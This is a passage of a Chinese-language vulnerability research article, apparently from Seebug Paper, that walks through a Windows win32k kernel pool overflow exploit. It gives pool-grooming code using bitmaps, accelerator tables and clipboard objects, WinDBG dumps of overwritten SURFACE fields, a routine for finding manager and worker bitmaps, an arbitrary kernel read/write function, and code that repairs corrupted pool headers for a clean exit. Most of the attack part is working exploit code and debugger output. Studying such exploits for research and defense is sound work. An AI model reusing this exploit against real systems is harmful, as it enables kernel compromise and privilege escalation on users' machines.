清單 5-19 函數 ConvertMemHandle 調用 HMAllocObject 以分配對象
在 ConvertMemHandle 函數調用返回后,函數 SetClipboardData 將返回的剪貼板數據對象的句柄傳入 NtUserSetClipboardData 函數調用中,以將分配的剪貼板數據對象設置進剪貼板。
LABEL_41:
v3 = (HANDLE)ConvertMemHandle(hMem, 1);
v12 = 1;
LABEL_29:
if ( !v3 )
return 0;
LABEL_2:
RtlEnterCriticalSection(&gcsClipboard);
v10 = v12;
v11 = 1;
if ( !NtUserSetClipboardData(uFormat, v3, &v10) )
{
RtlLeaveCriticalSection(&gcsClipboard);
return 0;
}
清單 5-20 函數 SetClipboardData 調用 NtUserSetClipboardData 以設置剪貼板
在不調用函數 OpenCliboard 并清空剪貼板數據的前提下調用 SetClipboardData 函數會發生潛在的內存泄露,被分配的剪貼板數據對象在當前活躍會話生命周期內將會一直存在于分頁會話池當中。但正因為這個特性,在后續通過漏洞溢出覆蓋該對象的數據結構之后,不用擔心在會在發生銷毀對象時觸發異常的問題,內存泄露的問題只能作為該驗證代碼的一個小缺憾。
圖 5-7 創建剪貼板數據對象作為墊片
在測試環境中執行驗證代碼時,發現執行到第 2 次分配位圖對象的后期階段發生創建失敗的錯誤,經過檢查后發現是進程 GDI 對象數目已達到上限,隨后適當調整驗證代碼的創建對象整體數目才得以繼續執行。在實際應用時可隨時根據進程句柄數、用戶對象數、GDI 對象數具體情況隨時調整選擇分配的對象類型,以使利用邏輯能順利進行下去。在當前系統環境下,用戶對象和 GDI 對象的進程限額都是 10000 個,參見以下兩個注冊表路徑的鍵值,如有必要可適當調整這兩個鍵值的數值。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\GDIProcessHandleQuota
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\USERProcessHandleQuota
圖 5-8 用戶對象和 GDI 對象的進程限額
修改后的驗證代碼片段如下:
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = 5; // same values to ignore
}
for (LONG i = 0; i < 75; i++)
{
point[i].y = i + 1; // to rewrite such edge elements.
}
HDC hdc = GetDC(NULL);
ret = BeginPath(hdc);
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
ret = EndPath(hdc);
// 0xF90+0x70=0x1000
for (LONG i = 0; i < 4000; i++)
{
// 0xE34+0x154+8=0xF90
hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 5500; i++)
{
ACCEL acckey[0x0D] = { 0 };
// 0x0D*6+0x12+4+8~0x70
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 0; i < 4000; i++)
{
// free original bitmaps
ret = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
// 0xB70+0x420=0xF90
for (LONG i = 0; i < 4000; i++)
{
// create shim clipdatas
// 0xB5C+0xC+8=0xB70
CreateClipboard(0xB5C);
}
for (LONG i = 0; i < 4000; i++)
{
// create usable bitmaps
// 0xB1*0x01*4+0x154+8=0x420
hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);
}
for (LONG i = 2000; i < 4000; i++)
{
// dig hole to place edge buffer
ret = DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
// PathToRegion(hdc);
清單 5-21 增加墊片的修改版驗證代碼片段
將傳入 PolylineTo 函數調用的坐標點數組中的 Y 軸坐標不同的點增加到 75 個,以使溢出寫入的 EDGE 元素能跨越用作墊片的剪貼板數據對象到達間隔的位圖表面對象緩沖區并覆蓋其中的數據,且恰好末尾的 EDGE 元素覆蓋到位圖表面對象的 sizlBitmap 成員域為止而不影響后續的內存數據。墊片和位圖表面對象的新大小需要不斷嘗試和修改以達到最精確的域值覆蓋。
編譯后在環境中執行,觀測到成員域 sizlBitmap 已被覆蓋成比較感興趣的值:
win32k!RGNMEMOBJ::vCreate+0xc5:
93fe3ffc ff1550001694 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (94160050)]
kd> dd esp l 14
93967828 00000021 00000068 6e677247 0f0106b6
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
93fe4002 8b5510 mov edx,dword ptr [ebp+10h]
kd> r eax
eax=cae5df98
kd> !pool cae5d000+1000
Pool page cae5e000 region is Paged session pool
*cae5e000 size: b70 previous size: 0 (Allocated) *Uscb
Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle
cae5eb70 size: 420 previous size: b70 (Allocated) Gh15
cae5ef90 size: 70 previous size: 420 (Free ) Usac Process: 861fcaa8
kd> dc cae5eb70 l 10
cae5eb70 4684016e 35316847 02050ff1 00000000 n..FGh15........
cae5eb80 00000000 00000000 00000000 02050ff1 ................
cae5eb90 00000000 00000000 00000001 000000b1 ................
cae5eba0 000002c4 cae5eccc cae5eccc 00000004 ................
kd> p
...
win32k!RGNMEMOBJ::vCreate+0x1d7:
93fe410e e8a7000d00 call win32k!vConstructGET (940b41ba)
kd> p
win32k!RGNMEMOBJ::vCreate+0x1dc:
93fe4113 8365cc00 and dword ptr [ebp-34h],0
kd> dc cae5eb70 l 10
cae5eb70 ffffffff ffffffff cae5df98 00000005 ................
cae5eb80 00000000 00000000 ffffffff 00000300 ................
cae5eb90 00000500 0147ae14 00000001 ffffffff ......G.........
cae5eba0 000002c4 cae5eccc cae5eccc 00000004 ................
清單 5-22 成員 sizlBitmap 已被覆蓋成感興趣的值
這樣一來,成員 sizlBitmap.cx 和 sizlBitmap.cy 被覆蓋成 0x01 和 0xFFFFFFFF,而 pvScan0 成員的值并未被污染,我們就可以利用該 sizlBitmap.cy 成員值的廣闊范圍,將當前位圖表面對象作為主控位圖對象,通過其對位于下一內存頁中的位圖表面對象進行操作,將其作為擴展位圖表面對象,覆蓋其 pvScan0 指針為我們想讀寫的地址,隨后再通過 API 函數操作擴展位圖表面對象,實現“指哪打哪”的目的。
kd> !pool cae5d000+2000
Pool page cae5f000 region is Paged session pool
*cae5f000 size: b70 previous size: 0 (Allocated) *Uscb
Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle
cae5fb70 size: 420 previous size: b70 (Allocated) Gh15
cae5ff90 size: 70 previous size: 420 (Free ) Usac Process: 861fcaa8
kd> dc cae5fb70 l 10
cae5fb70 4684016e 35316847 02050fb2 00000000 n..FGh15........
cae5fb80 00000000 00000000 00000000 02050fb2 ................
cae5fb90 00000000 00000000 00000001 000000b1 ................
cae5fba0 000002c4 cae5fccc cae5fccc 00000004 ................
清單 5-23 下一內存頁中的位圖表面對象內存塊
定位主控位圖句柄
漏洞觸發之前的代碼邏輯已萬事俱備,接下來處理漏洞觸發之后的工作。既然要利用當前的主控位圖表面對象,就要找它到是我們分配的大量的位圖對象中的哪一個。這就需要用到 GetBitmapBits 函數,其函數原型如下:
LONG GetBitmapBits(
_In_ HBITMAP hbmp,
_In_ LONG cbBuffer,
_Out_ LPVOID lpvBits
);
通過向 GetBitmapBits 函數傳入位圖句柄、讀取位圖字節數、存儲位圖數據的緩沖區,將會讀出指定大小的位圖數據,并將實際讀取的數據作為返回值返回。通過 GetBitmapBits 函數獲取位圖像素位數據具有如下的主要調用路徑:
圖 5-9 通過 GetBitmapBits 獲取位圖像素位數據的主要調用路徑
在函數 win32k!NtGdiGetBitmapBits 中首先向 GreGetBitmapBits 函數調用傳入空的請求字節數和緩沖區指針以獲取該位圖表面對象的像素位數據的實際大小,用來防止傳遞給 GetBitmapBits 的請求字節數參數超過位圖像素位數據的實際大小。在函數 GreGetBitmapBits 中只通過如下的賦值語句計算位圖像素位數據的大小作為返回值而直接返回:
v4 = *((_DWORD *)pSurf + 9) * (((_DWORD)(*((_DWORD *)pSurf + 8) * gaulConvert[*((_DWORD *)pSurf + 0xF)] + 15) >> 3) & 0x1FFFFFFE);
變量 pSurf 是棧上的 SURFREF 類對象中第一個成員變量 SURFACE *ps 指針,指向該 SURFREF 對象關聯的 SURFACE 類對象;該 SURFREF 對象是在函數開始時通過 HBITMAP a1 參數構造初始化并關聯的。上面的賦值語句獲取主控位圖表面對象相關的 SURFACE->so.iBitmapFormat 成員域的數值,并將數值作為索引在全局數組 gaulConvert 獲取該位圖格式的像素點位數,隨后進行邏輯對齊運算并計算與 SURFACE->so.sizlBitmap 成員中橫向和縱向像素點個數的乘積,得到該位圖對象的像素點數據實際大小。需要留意的是,賦值語句中計算實際大小的關鍵在于 SURFACE->so.sizlBitmap 成員域,而沒有校驗 SURFACE->so.cjBits 代表像素點總字節數的成員域的值。
隨后函數 win32k!NtGdiGetBitmapBits 根據返回的數值判斷是否需要更新傳入的請求字節數參數的數值。在接下來第二次調用 GreGetBitmapBits 函數時,傳入實際的請求字節數和緩沖區指針,函數得以向后執行。
if ( v4 )
{
lInitOffset = *pOffset;
if ( *pOffset < 0 || lInitOffset >= v4 )
goto LABEL_30;
if ( cjTotal + lInitOffset > v4 )
cjTotal = v4 - lInitOffset;
if ( cjTotal )
{
v17 = cjTotal;
v18 = pjBuffer;
v9 = 0;
v20 = lInitOffset;
if ( pSurf )
v9 = pSurf + 0x10;
bDoGetSetBitmapBits((struct _SURFOBJ *)&v11, (struct _SURFOBJ *)v9, 1);
v4 = v17;
*pOffset = v17 + lInitOffset;
}
else
{
LABEL_30:
v4 = 0;
}
}
清單 5-24 函數 GreGetBitmapBits 代碼片段
隨后函數調用 bDoGetSetBitmapBits 函數執行獲取位圖像素點數據的具體操作。函數 bDoGetSetBitmapBits 具有三個參數:參數 SURFOBJ *a1 指示主控位圖 SURFOBJ 對象指針,參數 SURFOBJ *a2 指示源位圖 SURFOBJ 對象指針。參數 a3 是 BOOL 類型的數值,用于表示本次操作是獲取還是寫入像素點數據。
當參數 a3 值為 1 時,函數將從 a2 指向的 SURFOBJ 對象中獲取像素點數據并寫入 a1 參數指向 SURFOBJ 對象關聯的緩沖區中;當 a3 值為 0 時,函數將 a1 參數指向的 SURFOBJ 對象關聯的位圖數據寫入 a2 指向 SURFOBJ 對象關聯的位圖中。根據上面的代碼片段,當前調用向該參數傳遞 1 表示這次調用是獲取操作。
傳遞給 bDoGetSetBitmapBits 函數的第二個參數是當前 SURFACE 對象中的 SURFOBJ so 成員的地址;而傳遞的第一個參數的值是變量 v11 的地址,這表示在當前函數棧上從 v11 變量地址開始存儲一個 SURFOBJ 臨時對象,在函數稍早位置對這個臨時對象的各個成員域進行了初始化。根據偏移計算,變量 v17 是 SURFOBJ 臨時對象中的 cjBits 成員。在函數中調用 bDoGetSetBitmapBits 函數之前,計算得到的用于指示實際請求字節數的 cjTotal 變量的值以及從用戶進程中傳入的緩沖區指針 pjBuffer 分別被賦給臨時 SURFOBJ 對象的 cjBits 和 pvBits 成員,并且在函數調用返回后成員 cjBits 的值被賦給作為返回值的 v4 變量。這樣一來臨時對象的 cjBits 成員必然在 bDoGetSetBitmapBits 函數中被更新。
v3 = a2;
...
v4 = a1;
if ( *((_DWORD *)a1 + 7) )
{
a2 = (struct _SURFOBJ *)*((_DWORD *)a1 + 7);
a1 = (struct _SURFOBJ *)*((_DWORD *)v3 + 8);
v22 = *((_DWORD *)v3 + 9);
v5 = ((_DWORD)(*((_DWORD *)v3 + 4) * gaulConvert[*((_DWORD *)v3 + 0xB)] + 15) >> 3) & 0x1FFFFFFE;
v6 = v5 * *((_DWORD *)v3 + 5);
v7 = *((_DWORD *)v4 + 9);
cjTotal = *((_DWORD *)v4 + 6);
a3 = *((_DWORD *)v4 + 6);
if ( (v7 & 0x80000000) != 0 || v7 >= v6 )
{
*((_DWORD *)v4 + 6) = 0;
return 0;
}
if ( cjTotal + v7 > v6 )
{
cjTotal = v6 - v7;
a3 = v6 - v7;
}
*((_DWORD *)v4 + 6) = cjTotal;
...
while ( 1 )
{
v11 = v26--;
if ( !v11 )
break;
memcpy((void *)a2, (const void *)a1, v5);
a2 = (struct _SURFOBJ *)((char *)a2 + v5);
a1 = (struct _SURFOBJ *)((char *)a1 + v22);
}
if ( v10 )
memcpy((void *)a2, (const void *)a1, v10);
}
清單 5-25 函數 bDoGetSetBitmapBits 獲取像素點數據的代碼片段
在函數 bDoGetSetBitmapBits 獲取像素點數據的處理邏輯中,存在對主控 SURFOBJ 對象的 cjBits 成員賦值的語句(見上面的代碼片段中的 (_DWORD *)v4+6 域的賦值)。總體而言,與前面初次執行 GreGetBitmapBits 函數獲取位圖表面對象的實際像素點數據大小的代碼邏輯類似,根據 iBitmapFormat 和 sizlBitmap 域的值以及引入的外部偏移量的值綜合計算出 cjBits 的值。
關注上面的內存拷貝循環語句,其中作為拷貝目標的 a2 值為位于用戶進程地址空間的緩沖區地址,作為拷貝源的 a1 值為主控位圖表面對象的位圖數據區域地址(編譯器搗的鬼,進行了變量和參數復用,對可讀性造成困擾)。循環期間每次調用 memcpy 函數進行數據拷貝時,拷貝的長度為 v5 變量的值,理解代碼邏輯可知,v5 變量的值為即時計算出的當前位圖表面對象的位圖數據掃描線長度。在調用的 memcpy 函數返回之后,對拷貝目標指針和源指針進行后移。可以注意到的是,對目標指針的后移量是即時計算出的當前位圖表面對象的位圖數據掃描線長度,而對源指針的后移量是存儲在 SURFACE->so.lDelta 成員中域的數值。
這樣一來問題就出現了:存儲在 SURFACE->so.lDelta 成員域中的數值是在調用 SURFMEM::bCreateDIB 函數分配對象時賦值的,它的值是通過位圖像素寬度和位圖像素位類型的初始值計算出來的,而在當前函數調用時,位圖像素寬度 SURFACE->so.sizlBitmap.cy 成員域的值早已被漏洞導致的溢出覆蓋所污染,位圖寬度的值已不再是原值了,這樣的話在進行指針后移操作時,源緩沖區和目標緩沖區指針的后移量將不相同,導致最終寫入用戶進程緩沖區中的數據存在偏差。成員 iBitmapFormat 由于比較靠后所以未被溢出覆蓋所觸及會保持不變,則要想解決這個問題,就必須確保在漏洞覆蓋位圖表面對象的數據前后,成員域 sizlBitmap.cy 的值保持不變。反觀前面的溢出覆蓋的 WinDBG 調試數據,該成員域的值被覆蓋為 0x01,那么在我們的驗證代碼中創建位圖對象時傳遞的位圖像素寬度參數值就必須為 0x01,將控制位圖大小的職責完全由像素高度參數擔負。筆者在這里踩了坑,所以特別提醒讀者。
這樣一來,通過以下的驗證代碼片段可從我們創建并保存的大量的位圖句柄中定位出被覆蓋數據的位圖表面對象的句柄:
pBmpHunted = (PDWORD)malloc(0x1000); // memory stub
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < 4000; i++)
{
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0)
{
index = i;
break;
}
}
hbmpmain = hbitmap[index];
清單 5-26 定位被覆蓋數據位圖表面對象句柄的驗證代碼片段
上面的驗證代碼通過循環調用 GetBitmapBits 函數遍歷位圖句柄數組以定位被覆蓋數據的位圖表面對象的句柄,獲取 0x1000 字節的一整個內存頁大小的位圖數據。大部分配有被覆蓋數據的位圖表面對象的像素點數據區域大小仍舊是原來的 0xB1*0x01*4=0x2C4 字節大小,所以返回值只可能是不超過 0x2C4 的數值;而針對被我們覆蓋數據的主控位圖表面對象而言,由于 sizlBitmap 成員的值被覆蓋成 0x01 和 0xFFFFFFFF 數值,所以在計算位圖像素點數據“實際大小”時,計算出來的結果是 0x(3)FFFFFFFC,這是一個發生溢出的數值,高于 32 位的數據被舍棄。這樣的話,當遍歷到主控位圖對象的句柄時,函數的返回值將必然是比 0x2D0 大的數,因此得以命中。命中成功后 pBmpHunted 緩沖區中就存儲了從當前位圖對象的位圖像素點數據區域起始地址開始的 0x1000 字節范圍的內存數據。
訪問違例
然而在環境中實際測試的時候發現了問題,在調用 GetBitmapBits 函數期間 WinDBG 捕獲到了訪問違例的異常:
Access violation - code c0000005 (!!! second chance !!!)
win32k!PDEVOBJ::bAllowShareAccess+0x52:
938e391f 857824 test dword ptr [eax+24h],edi
kd> k
# ChildEBP RetAddr
00 95a9bb2c 938f08e1 win32k!PDEVOBJ::bAllowShareAccess+0x52
01 95a9bb3c 9386208e win32k!NEEDGRELOCK::vLock+0x1b
02 95a9bbd4 9386650f win32k!GreGetBitmapBits+0xce
03 95a9bc20 83e891ea win32k!NtGdiGetBitmapBits+0x86
04 95a9bc20 774170b4 nt!KiFastCallEntry+0x12a
05 0019f0d0 7630c1d3 ntdll!KiFastSystemCallRet
06 0019f0d4 011699a0 gdi32!NtGdiGetBitmapBits+0xc
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 0019fe70 0116a48a 0x11699a0
08 0019fec4 011a085e 0x116a48a
09 0019fed8 011a0760 0x11a085e
0a 0019ff30 011a060d 0x11a0760
0b 0019ff38 011a0878 0x11a060d
0c 0019ff40 75a93c45 0x11a0878
0d 0019ff4c 774337f5 kernel32!BaseThreadInitThunk+0xe
0e 0019ff8c 774337c8 ntdll!__RtlUserThreadStart+0x70
0f 0019ffa4 00000000 ntdll!_RtlUserThreadStart+0x1b
kd> r eax
eax=00044ea8
kd> dc eax+24h l 4
00044ecc ???????? ???????? ???????? ???????? ????????????????
清單 5-27 調用 GetBitmapBits 期間發生訪問違例異常
根據棧回溯發現是在 GreGetBitmapBits 函數中調用 NEEDGRELOCK::vLock 函數,然后在其中調用 PDEVOBJ::bAllowShareAccess 函數時發生異常的。
在函數 GreGetBitmapBits 中存在一處 NEEDGRELOCK::vLock 函數的調用:
v40 = *((_DWORD *)pSurf + 7);
NEEDGRELOCK::vLock((NEEDGRELOCK *)&v38, (struct PDEVOBJ *)&v40);
將地址作為外部參數傳入函數調用的 v40 變量存儲的是當前表面對象的 SURFACE->so.hdev 成員的值,該成員是指向某個設備對象的指針。變量 v4 的地址是作為 PDEVOBJ 對象指針傳入 NEEDGRELOCK::vLock 函數中的,PDEVOBJ 類型對象中只含有一個成員變量:指向對應的實際設備對象的指針,與 SURFACE->so.hdev 成員域的類型相同。
在 NEEDGRELOCK::vLock 函數中,對 PDEVOBJ 對象的指針成員的值進行判斷,非空的話就調用 PDEVOBJ 對象的 bAllowShareAccess 成員函數,在其中訪問實際設備對象中的數據。
void __thiscall NEEDGRELOCK::vLock(NEEDGRELOCK *this, struct PDEVOBJ *a2)
{
NEEDGRELOCK *v2; // esi@1
PERESOURCE v3; // ecx@4
v2 = this;
*(_DWORD *)this = 0;
if ( *(_DWORD *)a2 && !PDEVOBJ::bAllowShareAccess(a2) && !(*(_DWORD *)(*(_DWORD *)a2 + 36) & 0x8000) )
{
v3 = ghsemGreLock;
*(_DWORD *)v2 = ghsemGreLock;
GreAcquireSemaphore(v3);
TraceGreAcquireSemaphoreEx(L"hsem", *(_DWORD *)v2, 2);
}
}
清單 5-28 函數 NEEDGRELOCK::vLock 代碼片段
問題就出在這里,PDEVOBJ 對象中的指針成員的值來源于當前表面對象的 SURFACE->so.hdev 成員域,該域的值要么是空,要么是指向某個實際設備對象的指針。默認情況下值為空,只是在前面的 EDGE 元素溢出訪問的時候,被覆蓋成了非空的值:
kd> dc cae5eb70 l 10
cae5eb70 ffffffff ffffffff cae5df98 00000005 ................
cae5eb80 00000000 00000000 ffffffff 00000300 ................
cae5eb90 00000500 0147ae14 00000001 ffffffff ......G.........
cae5eba0 000002c4 cae5eccc cae5eccc 00000004 ................
清單 5-29 成員域 SURFACE->so.hdev 被覆蓋成非空值
如上所示,內存地址 0xcae5eb94 位置是 SURFACE->so.hdev 成員域,已被覆蓋成的 0x147ae14 數值顯然不是某個實際設備對象的地址。接下來繼續追查對該成員域進行覆蓋的時機,最終定位到在 vConstructGET 函數中針對最后一組兩點描述的邊進行 AddEdgeToGET 函數調用并處理 EDGE 元素數據時,在函數中進行了如下判斷和賦值:
if ( iXWidth < iYHeight )
{
*((_DWORD *)pFreeEdge + 7) = 0;
}
else
{
v15 = iXWidth;
v17 = v15 % iYHeight;
v16 = v15 / iYHeight;
iXWidth = v17;
v18 = *((_DWORD *)pFreeEdge + 8) == -1;
*((_DWORD *)pFreeEdge + 7) = v16;
if ( v18 )
*((_DWORD *)pFreeEdge + 7) = -v16;
}
清單 5-30 函數 AddEdgeToGET 對 EDGE->iXWhole 成員的賦值
根據前面的 EDGE 結構體定義可知,pFreeEdge+0x1C 字節偏移的域是 iXWhole 成員。針對當前兩點描述的邊,如果斜率大于 1 則將會給 iXWhole 域賦值為 0;否則會根據 iXDirection 成員的值是否為 -1 對 iXWhole 賦值為 ±(iXWidth/iYHeigth)。
回過頭來檢查驗證代碼,發現按照當前代碼邏輯,由于對坐標點數組賦初值的方法不當,導致最后一組兩點描述的邊的頂點坐標成為 (0x6666668,0x5) 和 (0,0),這樣一來在處理末尾的 EDGE 元素時,斜率就不可能大于 1,所以 iXWhole 成員才會賦值為非空值。所以修改驗證代碼對坐標點數組賦初值的代碼邏輯:
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = (i % 2) + 1;
point[i].y = 100;
}
清單 5-31 修改的坐標點數組賦初值的代碼邏輯
這樣一來在函數中處理每個 EDGE 元素時,邊的斜率將始終大于 1,成員 SURFACE->so.hdev 將不會被賦值為非空的值,在函數 NEEDGRELOCK::vLock 中判斷指針成員的值時,遇空值將直接返回,不會進入 PDEVOBJ::bAllowShareAccess 函數調用,問題就得以解決。
kd> dc cb06db70 l 10
cb06db70 00000001 00000001 cb06db50 00000000 ........P.......
cb06db80 00000001 00000000 fffffeff 00000100 ................
cb06db90 00006400 00000000 00000001 ffffffff .d..............
cb06dba0 000002c4 cb06dccc cb06dccc 00000004 ................
清單 5-32 成員域 hdev 沒有被覆蓋成非空值
定位擴展位圖句柄
得到主控位圖表面對像的句柄之后,接下來需要通過該句柄控制其修改該位圖表面對象所在內存塊下一內存頁中的位圖表面對象作為擴展位圖對象,修改其 SURFACE->so.pvScan0 成員域指向特定的地址,便可通過該擴展位圖對象的句柄實現任意地址讀寫的目的。上面的驗證代碼中,命中成功時,變量 pBmpHunted 指向的緩沖區中存儲的就是從當前位圖表面對象的像素點數據區域起始地址開始的一整個內存頁的數據,其中包括擴展位圖表面對象的完整數據。接下來通過修改 pBmpHunted 指向的緩沖區中特定數據并通過調用 SetBitmapBits 函數將緩沖區寫入當前位圖表面對象,就可以實現對擴展位圖對象的操縱。
圖 5-10 主控位圖對象訪問的 0x1000 字節數據包含擴展位圖對象的成員數據
當然,我們首先需要在位圖句柄列表中定位出被用作擴展位圖對象的位圖表面對象所對應的句柄。說雖然在內核中當前位圖表面對象與在下一內存頁中分配的位圖表面對象在內存布局方面相鄰近,但在句柄表中兩者先后順序不一定相鄰,所以我打算故技重施,先將擴展位圖表面對象的 sizlBitmap 域修改為較大的值,再通過調用 GetBitmapBits 函數的方式遍歷定位句柄。
我將前面通過 GetBitmapBits 函數獲取到的從主控位圖表面對象位圖像素區域開始的整個內存頁數據存放在分配的緩沖區中,并以 DWORD 指針的方式解析,將所有數據輸出,通過與下一內存頁中的擴展位圖像素數據進行比對,成功在分配的緩沖區中找到了擴展位圖對象的數據:
[936]8769D520 [937]4684016E [938]35316847 [939]02050FC8
[940]00000000 [941]00000000 [942]00000000 [943]00000000
[944]02050FC8 [945]00000000 [946]00000000 [947]00000001
[948]000000B1 [949]000002C4 [950]CB00FCCC [951]CB00FCCC
[952]00000004 [953]00002D50 [954]00000006 [955]00010000
[956]00000000 [957]04800200 [958]00000000 [959]00000000
[960]00000000 [961]00000000 [962]00000000 [963]00000000
清單 5-33 分配的緩沖區數據的轉儲
其中,下標 948 的元素數值是擴展位圖對象的 SURFACE->so.sizlBitmap.cy 成員域的值,下標 951 的元素數值是 SURFACE->so.pvScan0 成員域的值。那么接下來將修改下標 948 的元素數值并通過 SetBitmapBits 寫入擴展位圖對象,再通過遍歷句柄表的方式定位出擴展位圖對象的句柄。
指哪打哪
到目前為止,已定位到了主控位圖表面對象和擴展位圖表面對象。通過主控位圖表面對象作為接口修改緩沖區中下標 951 的元素數值并寫入內核,可控制擴展位圖表面對象的 SURFACE->so.pvScan0 成員域的值,這樣一來只要將擴展位圖表面對象的 SURFACE->so.pvScan0 成員域修改為任意內核地址,便可輕松實現對內核任意地址的讀寫,“指哪打哪”的目的就實現了。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
LONG ret = 0;
pBmpHunted[iExtpScan0] = addr;
ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (ret < 0x1000)
{
return FALSE;
}
ret = SetBitmapBits(hBmpExtend, cb, pvBits);
if (ret < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
清單 5-34 指哪打哪
修復受損數據
漏洞的溢出覆蓋破壞了主控位圖表面對象所在內存頁中的內存塊的 POOL_HEADER 結構,這會導致利用進程在退出階段釋放對象的時候發生異常。為了解決這個問題,需要對被覆蓋的相關內存塊的頭部結構進行修復。
被破壞 POOL_HEADER 結構的內存塊是位于同一內存頁起始位置的剪貼板數據對象所在內存塊和主控位圖表面對象所在的內存塊。
根據前面的 WinDBG 調試數據顯示,剪貼板數據對象所在內存塊的池標記為“Uscb”,而位圖表面對象所在內存塊的池標記是“Gh15”。根據該特性,定位到擴展位圖表面對象的 POOL_HEADER 結構位于緩沖區中的下標 937 和下標 938 元素中,而與擴展位圖位于同一內存頁的剪貼板數據對象所在內存塊的 POOL_HEADER 結構位于緩沖區中的下標 205 和下標 206 元素中。這兩組元素對中存儲的 POOL_HEADER 結構是正常的未被污染的池頭部結構數據。
在本分析中的情況下,每個坐落在預置內存間隙中的位圖表面對象地址的低 12 位始終相同。如前面轉儲的緩沖區數據所示,成員域 SURFACE->so.pvScan0 指針指向 0xCB00FCCC 地址,根據前面的分析數據可計算出擴展位圖表面對象所在內存塊的池頭部位于 0xCB00FB70 地址,而同一頁中剪貼板數據對象對象位于 0xCB00F000 地址。將這兩個地址向前移 0x1000 一個內存頁的大小就可以定位到主控位圖表面對象所在內存頁中受污染的內存塊 POOL_HEADER 位置,隨后依據“指哪打哪”方案,將前面獲取的未被污染的池頭部結構數據再寫入對應類型的受污染的位置,這樣一來釋放這些內存塊時就不會有問題了。
另外還需要注意的是,必須對數據受污染的位圖表面對象和剪貼板數據對象的某些特定成員域的值進行修復,才能保證在銷毀這些對象時能夠順利進行。
前面提到過 _BASEOBJECT 結構,它是所有內核 GDI 對象類的基類。這就意味著所有內核 GDI 對象的起始位置存儲的都是一個 _BASEOBJECT 結構,位圖表面對象也不例外。該結構的第一個成員變量 HANDLE hmgr 存儲當前 GDI 對象的用戶句柄,該句柄與用戶進程調用的創建 GDI 對象的 API 返回的句柄一致。在銷毀位圖表面對象進行時,在函數 SURFACE::bDeleteSurface 中會獲取該成員域的值,并傳入 HmgRemoveObject 和 HmgQueryAltLock 等函數進行相關處理。另外句柄值同樣被存儲在成員域 SURFACE->so.hsurf 中。如果不對這些成員域的值進行修復,那么在銷毀該 GDI 對象時,將會發生訪問違例等不可預料的錯誤。好在我們在前面已定位并保存了主控位圖表面對象的句柄,將句柄值寫入這兩個域所在內存地址即可。
if ( !a3 && !HmgRemoveObject(*(HANDLE *)this, 0, 1, FreeSize == 2, 5) )
{
if ( HmgQueryAltLock(*(_DWORD *)this) == 1 )
{
...
}
...
}
清單 5-35 函數 SURFACE::bDeleteSurface 訪問 hmgr 成員
而對于位于同一內存頁中被污染的剪貼板數據對象,由于該對象在當前活躍會話的生命周期內將不會被釋放,所以就不需要對其被污染的成員域數據進行修復了。
// calc base page address
iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000;
DWORD szInputBit[0x100] = { 0 }; // buffer
CONST LONG iTrueCbdHead = 205;
CONST LONG iTrueBmpHead = 937;
szInputBit[0] = pBmpHunted[iTrueCbdHead + 0];
szInputBit[1] = pBmpHunted[iTrueCbdHead + 1];
// fix clibdata pool header
ret = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08);
if (!ret)
{
return 0;
}
szInputBit[0] = pBmpHunted[iTrueBmpHead + 0];
szInputBit[1] = pBmpHunted[iTrueBmpHead + 1];
// fix bitmap pool header
ret = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08);
if (!ret)
{
return 0;
}
szInputBit[0] = (DWORD)hBmpHunted;
// fix bitmap hmgr
ret = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04);
if (!ret)
{
return 0;
}
// fix bitmap hsurf
ret = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04);
if (!ret)
{
return 0;
}
清單 5-36 修復受損內存數據的驗證代碼片段
至此,對該漏洞利用的驗證代碼已實現任意內核地址讀寫和無異常退出進程的能力,下一章節將研究實現通過任意內核地址讀寫的能力實現內核提權的目的。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/580/
暫無評論